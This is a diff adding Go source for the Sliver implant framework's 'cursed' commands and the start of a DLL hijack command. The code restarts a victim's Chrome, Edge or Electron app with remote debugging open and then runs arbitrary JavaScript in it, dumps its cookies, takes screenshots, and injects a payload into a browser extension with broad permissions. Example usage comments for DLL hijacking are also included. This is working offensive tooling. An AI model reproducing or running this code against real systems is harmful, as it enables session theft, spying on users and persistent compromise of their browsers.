+				"/usr/local/bin/microsoft-edge",
+			}
+		}
+		for _, chromePath := range chromeLinuxPaths {
+			ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
+				Request: con.ActiveTarget.Request(cmd),
+				Path:    chromePath,
+			})
+			if err != nil {
+				return "", err
+			}
+			if ls.GetExists() {
+				return chromePath, nil
+			}
+		}
+		return "", ErrChromeExecutableNotFound
+
+	default:
+		return "", ErrUnsupportedOS
+	}
+}
+
+func isChromeProcess(executable string) bool {
+	chromeProcessNames := []string{
+		"chrome",           // Linux
+		"google-chrome",    // Linux
+		"chromium-browser", // Linux
+		"chrome.exe",       // Windows
+		"Google Chrome",    // Darwin
+	}
+	for _, suffix := range chromeProcessNames {
+		if strings.HasSuffix(executable, suffix) {
+			return true
+		}
+	}
+	return false
+}
+
+func getChromeProcess(session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (*commonpb.Process, error) {
+	ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
+		Request: con.ActiveTarget.Request(cmd),
+	})
+	if err != nil {
+		return nil, err
+	}
+	for _, process := range ps.Processes {
+		if process.GetOwner() != session.GetUsername() {
+			continue
+		}
+		if isChromeProcess(process.GetExecutable()) {
+			return process, nil
+		}
+	}
+	return nil, nil
+}
@@ -0,0 +1,178 @@
+package cursed
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"bytes"
+	"fmt"
+	"io"
+	"os"
+	"strings"
+	"text/tabwriter"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/reeflective/readline"
+	"github.com/spf13/cobra"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/core"
+	"github.com/bishopfox/sliver/client/overlord"
+)
+
+func CursedConsoleCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	curse := selectCursedProcess(con)
+	if curse == nil {
+		return
+	}
+	con.Println()
+	con.PrintInfof("Querying debug targets ... ")
+	targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
+	con.Printf(console.Clearln + "\r")
+	if err != nil {
+		con.PrintErrorf("Failed to query debug targets: %s\n", err)
+		return
+	}
+	target := selectDebugTarget(targets, con)
+	if target == nil {
+		return
+	}
+	con.PrintInfof("Connecting to '%s', use 'exit' to return ... \n\n", target.Title)
+	startCursedConsole(curse, true, target, con)
+}
+
+func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.SliverConsoleClient) *overlord.ChromeDebugTarget {
+	if len(targets) < 1 {
+		con.PrintErrorf("No debug targets\n")
+		return nil
+	}
+
+	id2target := map[string]overlord.ChromeDebugTarget{}
+	outputBuf := bytes.NewBufferString("")
+	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+	for _, target := range targets {
+		fmt.Fprintf(table, "%s\t%s\t%s\n", target.ID, target.Title, target.URL)
+		id2target[target.ID] = target
+	}
+	table.Flush()
+	options := strings.Split(outputBuf.String(), "\n")
+	options = options[:len(options)-1] // Remove the last empty option
+	prompt := &survey.Select{
+		Message: "Select a debug target:",
+		Options: options,
+	}
+	selected := ""
+	err := survey.AskOne(prompt, &selected)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return nil
+	}
+	if selected == "" {
+		return nil
+	}
+	selectedID := strings.Split(selected, " ")[0]
+	selectedTarget := id2target[selectedID]
+	return &selectedTarget
+}
+
+var helperHooks = []string{
+	"console.log = (...a) => {return a;}", // console.log
+}
+
+func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) {
+	tmpFile, _ := os.CreateTemp("", "cursed")
+	shell := readline.NewShell()
+	shell.History.AddFromFile("cursed history", tmpFile.Name())
+	shell.Prompt.Primary(func() string { return "\033[31mcursed »\033[0m " })
+	// 	EOFPrompt:         "exit",
+
+	if con.Settings.VimMode {
+		shell.Config.Set("editing-mode", "vi")
+	}
+
+	if helpers {
+		// Execute helper hooks
+		ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
+		for _, hook := range helperHooks {
+			_, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, hook)
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+			}
+		}
+	}
+
+	con.Printf(console.Bold+">>> Cursed Console, use ':help' for options%s\n\n", console.Normal)
+
+	for {
+		line, err := shell.Readline()
+		if err == readline.ErrInterrupt {
+			if len(line) == 0 {
+				break
+			} else {
+				continue
+			}
+		} else if err == io.EOF {
+			break
+		}
+
+		switch strings.TrimSpace(line) {
+		case ":help":
+			con.Println()
+			con.Println("Available commands:")
+			con.Println("  :file - Execute local .js file")
+			con.Println("  :help - Show this help")
+			con.Println("  :exit - Exit the console")
+			con.Println()
+
+		case ":file":
+			jsCode, err := os.ReadFile(line)
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+				continue
+			}
+			ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
+			result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, string(jsCode))
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+				continue
+			}
+			con.Println()
+			if 0 < len(result) {
+				con.Printf("%s\n", result)
+				con.Println()
+			}
+
+		case ":exit":
+			fallthrough
+		case "exit":
+			return
+
+		default:
+			ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
+			result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, line)
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+			}
+			con.Println()
+			if 0 < len(result) {
+				con.Printf("%s\n", result)
+				con.Println()
+			}
+		}
+	}
+}
@@ -0,0 +1,70 @@
+package cursed
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"fmt"
+	"os"
+	"strings"
+	"time"
+
+	"github.com/spf13/cobra"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/overlord"
+)
+
+func CursedCookiesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	curse := selectCursedProcess(con)
+	if curse == nil {
+		return
+	}
+	con.Println()
+
+	cookies, err := overlord.DumpCookies(curse, curse.DebugURL().String())
+	if err != nil {
+		con.PrintErrorf("Failed to dump cookies: %s\n", err)
+		return
+	}
+
+	con.PrintInfof("Successfully dumped %d cookies\n", len(cookies))
+	if len(cookies) == 0 {
+		return
+	}
+	saveFile, _ := cmd.Flags().GetString("save")
+	if saveFile == "" {
+		saveFile = fmt.Sprintf("cookies-%s.json", time.Now().Format("20060102150405"))
+	}
+	jsonCookies := []string{}
+	for _, cookie := range cookies {
+		jsonCookie, err := cookie.MarshalJSON()
+		if err != nil {
+			con.PrintErrorf("Failed to marshal cookie: %s\n", err)
+			continue
+		}
+		jsonCookies = append(jsonCookies, string(jsonCookie))
+	}
+	err = os.WriteFile(saveFile, []byte(strings.Join(jsonCookies, "\n")), 0o600)
+	if err != nil {
+		con.PrintErrorf("Failed to save cookies: %s\n", err)
+		return
+	}
+	con.PrintInfof("Saved to %s", saveFile)
+	con.Println()
+}
@@ -0,0 +1,172 @@
+package cursed
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"os"
+
+	"strings"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/spf13/cobra"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/core"
+	"github.com/bishopfox/sliver/client/overlord"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+)
+
+// CursedChromeCmd - Execute a .NET assembly in-memory
+func CursedEdgeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
+	payloadPath, _ := cmd.Flags().GetString("payload")
+	var payload []byte
+	var err error
+	if payloadPath != "" {
+		payload, err = os.ReadFile(payloadPath)
+		if err != nil {
+			con.PrintErrorf("Could not read payload file: %s\n", err)
+			return
+		}
+	}
+
+	curse := avadaKedavraEdge(session, cmd, con, args)
+	if curse == nil {
+		return
+	}
+	if payloadPath == "" {
+		con.PrintWarnf("No Cursed Edge payload was specified, skipping payload injection.\n")
+		return
+	}
+
+	con.PrintInfof("Searching for Edge extension with all permissions ... ")
+	chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	// There is one alternative set of permissions that we can use if we don't find an extension
+	// with all the proper permissions.
+	if chromeExt == nil {
+		chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+	if chromeExt != nil {
+		con.Printf("success!\n")
+		con.PrintInfof("Found viable Edge extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
+		con.PrintInfof("Injecting payload ... ")
+		cmd, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
+		// extCtxTimeout, cancel := context.WithTimeout(cmd, 10*time.Second)
+		// defer cancel()
+		_, err = overlord.ExecuteJS(cmd, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		con.Printf("success!\n")
+	} else {
+		con.Printf("failure!\n")
+		con.PrintInfof("No viable Edge extensions were found ☹️\n")
+	}
+}
+
+func avadaKedavraEdge(session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) *core.CursedProcess {
+	edgeProcess, err := getEdgeProcess(session, cmd, con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return nil
+	}
+	if edgeProcess != nil {
+		con.PrintWarnf("Found running Edge process: %d (ppid: %d)\n", edgeProcess.GetPid(), edgeProcess.GetPpid())
+		con.PrintWarnf("Sliver will need to kill and restart the Edge process in order to perform code injection.\n")
+		con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
+		con.Printf("\n")
+		confirm := false
+		err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Edge process?"}, &confirm)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return nil
+		}
+		if !confirm {
+			con.PrintErrorf("User cancel\n")
+			return nil
+		}
+		terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
+			Request: con.ActiveTarget.Request(cmd),
+			Pid:     edgeProcess.GetPid(),
+		})
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return nil
+		}
+		if terminateResp.Response != nil && terminateResp.Response.Err != "" {
+			con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
+			return nil
+		}
+	}
+	curse, err := startCursedChromeProcess(true, session, cmd, con, cargs)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return nil
+	}
+	return curse
+}
+
+func isEdgeProcess(executable string) bool {
+	edgeProcessNames := []string{
+		"msedge",         // Linux
+		"microsoft-edge", // Linux
+		"msedge.exe",     // Windows
+		"Microsoft Edge", // Darwin
+	}
+	for _, suffix := range edgeProcessNames {
+		if strings.HasSuffix(executable, suffix) {
+			return true
+		}
+	}
+	return false
+}
+
+func getEdgeProcess(session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (*commonpb.Process, error) {
+	ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
+		Request: con.ActiveTarget.Request(cmd),
+	})
+	if err != nil {
+		return nil, err
+	}
+	for _, process := range ps.Processes {
+		if process.GetOwner() != session.GetUsername() {
+			continue
+		}
+		if isEdgeProcess(process.GetExecutable()) {
+			return process, nil
+		}
+	}
+	return nil, nil
+}
@@ -0,0 +1,216 @@
+package cursed
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"log"
+	insecureRand "math/rand"
+	"path"
+	"time"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/spf13/cobra"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/core"
+	"github.com/bishopfox/sliver/client/overlord"
+	"github.com/bishopfox/sliver/client/tcpproxy"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+)
+
+func CursedElectronCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
+	electronExe, _ := cmd.Flags().GetString("exe")
+	if electronExe == "" {
+		con.PrintErrorf("Missing --exe flag, see --help\n")
+		return
+	}
+
+	curse := avadaKedavraElectron(electronExe, session, cmd, con, args)
+	if curse == nil {
+		return
+	}
+	con.PrintInfof("Checking for debug targets ...")
+	targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
+	con.Printf(console.Clearln + "\r")
+	if err != nil {
+		con.PrintErrorf("Failed to query debug targets: %s\n", err)
+		return
+	}
+	if len(targets) == 0 {
+		con.PrintErrorf("Zero debug targets found\n")
+		return
+	}
+	con.PrintInfof("Found %d debug targets, good hunting!\n", len(targets))
+}
+
+func avadaKedavraElectron(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) *core.CursedProcess {
+	exists, err := checkElectronPath(electronExe, session, cmd, con)
+	if err != nil {
+		con.PrintErrorf("%s", err)
+		return nil
+	}
+	if !exists {
+		con.PrintErrorf("Executable path does not exist: %s", electronExe)
+		return nil
+	}
+	electronProcess, err := checkElectronProcess(electronExe, session, cmd, con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return nil
+	}
+	if electronProcess != nil {
+		con.PrintWarnf("Found running '%s' process: %d (ppid: %d)\n", path.Base(electronExe), electronProcess.GetPid(), electronProcess.GetPpid())
+		con.PrintWarnf("Sliver will need to kill and restart the process in order to perform code injection.\n")
+		con.PrintWarnf("%sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
+		con.Printf("\n")
+		confirm := false
+		err = survey.AskOne(&survey.Confirm{Message: "Kill and restart the process?"}, &confirm)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return nil
+		}
+		if !confirm {
+			con.PrintErrorf("User cancel\n")
+			return nil
+		}
+		terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
+			Request: con.ActiveTarget.Request(cmd),
+			Pid:     electronProcess.Pid,
+		})
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return nil
+		}
+		if terminateResp.Response != nil && terminateResp.Response.Err != "" {
+			con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
+			return nil
+		}
+	}
+	curse, err := startCursedElectronProcess(electronExe, session, cmd, con, cargs)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return nil
+	}
+	return curse
+}
+
+func checkElectronPath(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (bool, error) {
+	ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
+		Request: con.ActiveTarget.Request(cmd),
+		Path:    electronExe,
+	})
+	if err != nil {
+		return false, err
+	}
+	return ls.GetExists(), nil
+}
+
+func checkElectronProcess(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (*commonpb.Process, error) {
+	ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
+		Request: con.ActiveTarget.Request(cmd),
+	})
+	if err != nil {
+		return nil, err
+	}
+	for _, process := range ps.Processes {
+		if process.GetOwner() != session.GetUsername() {
+			continue
+		}
+		if process.GetExecutable() == electronExe || path.Base(process.GetExecutable()) == path.Base(electronExe) {
+			return process, nil
+		}
+	}
+	return nil, nil
+}
+
+func startCursedElectronProcess(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) (*core.CursedProcess, error) {
+	con.PrintInfof("Starting '%s' ... ", path.Base(electronExe))
+	debugPort := getRemoteDebuggerPort(cmd)
+	args := []string{
+		fmt.Sprintf("--remote-debugging-port=%d", debugPort),
+	}
+
+	if len(cargs) > 0 {
+		args = append(args, cargs...)
+	}
+
+	// Execute the Chrome process with the extra flags
+	// TODO: PPID spoofing, etc.
+	electronExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
+		Request: con.ActiveTarget.Request(cmd),
+		Path:    electronExe,
+		Args:    args,
+		Output:  false,
+	})
+	if err != nil {
+		con.Printf("failure!\n")
+		return nil, err
+	}
+	con.Printf("(pid: %d) success!\n", electronExec.GetPid())
+
+	con.PrintInfof("Waiting for process to initialize ... ")
+	time.Sleep(2 * time.Second)
+
+	bindPort := insecureRand.Intn(10000) + 40000
+	bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
+
+	remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
+
+	tcpProxy := &tcpproxy.Proxy{}
+	channelProxy := &core.ChannelProxy{
+		Rpc:             con.Rpc,
+		Session:         session,
+		RemoteAddr:      remoteAddr,
+		BindAddr:        bindAddr,
+		KeepAlivePeriod: 60 * time.Second,
+		DialTimeout:     30 * time.Second,
+	}
+	tcpProxy.AddRoute(bindAddr, channelProxy)
+	portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
+
+	curse := &core.CursedProcess{
+		SessionID:   session.ID,
+		PID:         electronExec.GetPid(),
+		PortFwd:     portFwd,
+		BindTCPPort: bindPort,
+		Platform:    session.GetOS(),
+		ExePath:     electronExe,
+	}
+	core.CursedProcesses.Store(bindPort, curse)
+	go func() {
+		err := tcpProxy.Run()
+		if err != nil {
+			log.Printf("Proxy error %s", err)
+		}
+		core.CursedProcesses.Delete(bindPort)
+	}()
+
+	con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
+
+	return curse, nil
+}
@@ -0,0 +1,82 @@
+package cursed
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"strconv"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/spf13/cobra"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/core"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+)
+
+func CursedRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+	bindPort, err := strconv.Atoi(args[0])
+	if err != nil {
+		con.PrintErrorf("Failed to parse bind port argument: %s (%s)", args[0], err.Error())
+		return
+	}
+
+	kill, _ := cmd.Flags().GetBool("kill")
+	core.CloseCursedProcessesByBindPort(session.ID, bindPort)
+	if kill {
+		confirm := false
+		err := survey.AskOne(&survey.Confirm{Message: "Kill the cursed process?"}, &confirm)
+		if err != nil {
+			con.PrintErrorf("%s", err)
+			return
+		}
+		if !confirm {
+			con.PrintErrorf("User cancel\n")
+			return
+		}
+		// Get cursed process
+		var cursedProc *core.CursedProcess
+		curses := core.CursedProcessBySessionID(session.ID)
+		for _, curse := range curses {
+			if curse.BindTCPPort == bindPort {
+				cursedProc = curse
+			}
+		}
+		if cursedProc == nil {
+			con.PrintErrorf("Failed to find cursed process\n")
+			return
+		}
+		terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
+			Request: con.ActiveTarget.Request(cmd),
+			Pid:     int32(cursedProc.PID),
+		})
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		if terminateResp.Response != nil && terminateResp.Response.Err != "" {
+			con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
+			return
+		}
+	}
+}
@@ -0,0 +1,70 @@
+package cursed
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"fmt"
+	"os"
+	"time"
+
+	"github.com/spf13/cobra"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/overlord"
+)
+
+func CursedScreenshotCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	curse := selectCursedProcess(con)
+	if curse == nil {
+		return
+	}
+	con.Println()
+	con.PrintInfof("Querying debug targets ... ")
+	targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
+	con.Printf(console.Clearln + "\r")
+	if err != nil {
+		con.PrintErrorf("Failed to query debug targets: %s\n", err)
+		return
+	}
+	target := selectDebugTarget(targets, con)
+	if target == nil {
+		return
+	}
+	con.PrintInfof("Taking a screenshot of '%s' ... \n\n", target.Title)
+	quality, _ := cmd.Flags().GetInt64("quality")
+	if quality < 1 || quality > 100 {
+		con.PrintErrorf("Invalid quality value, must be between 1 and 100\n")
+		return
+	}
+	data, err := overlord.Screenshot(curse, target.WebSocketDebuggerURL, target.ID, quality)
+	if err != nil {
+		con.PrintErrorf("Failed to take screenshot: %s\n", err)
+		return
+	}
+	saveFile, _ := cmd.Flags().GetString("save")
+	if saveFile == "" {
+		saveFile = fmt.Sprintf("screenshot-%s.png", time.Now().Format("20060102150405"))
+	}
+	err = os.WriteFile(saveFile, data, 0o644)
+	if err != nil {
+		con.PrintErrorf("Failed to save screenshot: %s\n", err)
+		return
+	}
+	con.PrintInfof("Screenshot saved to %s\n", saveFile)
+}
@@ -0,0 +1,122 @@
+package cursed
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"bytes"
+	"fmt"
+	insecureRand "math/rand"
+	"strconv"
+	"strings"
+	"text/tabwriter"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/jedib0t/go-pretty/v6/table"
+	"github.com/spf13/cobra"
+
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/core"
+)
+
+// CursedChromeCmd - Execute a .NET assembly in-memory
+func CursedCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	// Collect existing curses from core
+	cursedProcesses := [][]string{}
+	core.CursedProcesses.Range(func(key, value interface{}) bool {
+		curse := value.(*core.CursedProcess)
+		cursedProcesses = append(cursedProcesses, []string{
+			fmt.Sprintf("%d", curse.BindTCPPort),
+			strings.Split(curse.SessionID, "-")[0],
+			fmt.Sprintf("%d", curse.PID),
+			curse.Platform,
+			curse.ExePath,
+			curse.DebugURL().String(),
+		})
+		return true
+	})
+	// Display table if we have 1 or more curses
+	if 0 < len(cursedProcesses) {
+		tw := table.NewWriter()
+		tw.SetStyle(settings.GetTableStyle(con))
+		tw.AppendHeader(table.Row{
+			"Bind Port", "Session ID", "PID", "Platform", "Executable", "Debug URL",
+		})
+		for _, rowEntries := range cursedProcesses {
+			row := table.Row{}
+			for _, entry := range rowEntries {
+				row = append(row, entry)
+			}
+			tw.AppendRow(table.Row(row))
+		}
+		con.Printf("%s\n", tw.Render())
+	} else {
+		con.PrintInfof("No cursed processes\n")
+	}
+}
+
+// selectCursedProcess - Interactively select a cursed process from a list
+func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess {
+	cursedProcesses := []*core.CursedProcess{}
+	core.CursedProcesses.Range(func(key, value interface{}) bool {
+		cursedProcesses = append(cursedProcesses, value.(*core.CursedProcess))
+		return true
+	})
+	if len(cursedProcesses) < 1 {
+		con.PrintErrorf("No cursed processes\n")
+		return nil
+	}
+
+	port2process := map[int]*core.CursedProcess{}
+	outputBuf := bytes.NewBufferString("")
+	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+	for _, cursedProcess := range cursedProcesses {
+		fmt.Fprintf(table, "%d\t%s\t%s\n",
+			cursedProcess.BindTCPPort,
+			fmt.Sprintf("[Session %s]", strings.Split(cursedProcess.SessionID, "-")[0]),
+			cursedProcess.ExePath)
+		port2process[cursedProcess.BindTCPPort] = cursedProcess
+	}
+	table.Flush()
+	options := strings.Split(outputBuf.String(), "\n")
+	options = options[:len(options)-1] // Remove the last empty option
+	prompt := &survey.Select{
+		Message: "Select a curse:",
+		Options: options,
+	}
+	selected := ""
+	err := survey.AskOne(prompt, &selected)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return nil
+	}
+	if selected == "" {
+		return nil
+	}
+	selectedPortNumber, _ := strconv.Atoi(strings.Split(selected, " ")[0])
+	return port2process[selectedPortNumber]
+}
+
+func getRemoteDebuggerPort(cmd *cobra.Command) int {
+	port, _ := cmd.Flags().GetInt("remote-debugging-port")
+	if port == 0 {
+		port = insecureRand.Intn(30000) + 10000
+	}
+	return port
+}
@@ -0,0 +1,4 @@
+DLL Hijack
+===========
+
+Implements command related to `dllhijack`.
@@ -0,0 +1,99 @@
+package dllhijack
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"io/ioutil"
+
+	"github.com/spf13/cobra"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+)
+
+// dllhijack --ref-path c:\windows\system32\msasn1.dll --file /tmp/runner.dll TARGET_PATH
+// dllhijack --ref-path c:\windows\system32\msasn1.dll --profile dll  TARGET_PATH
+// dllhijack --ref-path c:\windows\system32\msasn1.dll --ref-file /tmp/ref.dll --profile dll  TARGET_PATH
+
+// DllHijackCmd -- implements the dllhijack command
+func DllHijackCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	var (
+		localRefData  []byte
+		targetDLLData []byte
+		err           error
+	)
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
+	targetPath := args[0]
+
+	referencePath, _ := cmd.Flags().GetString("reference-path")
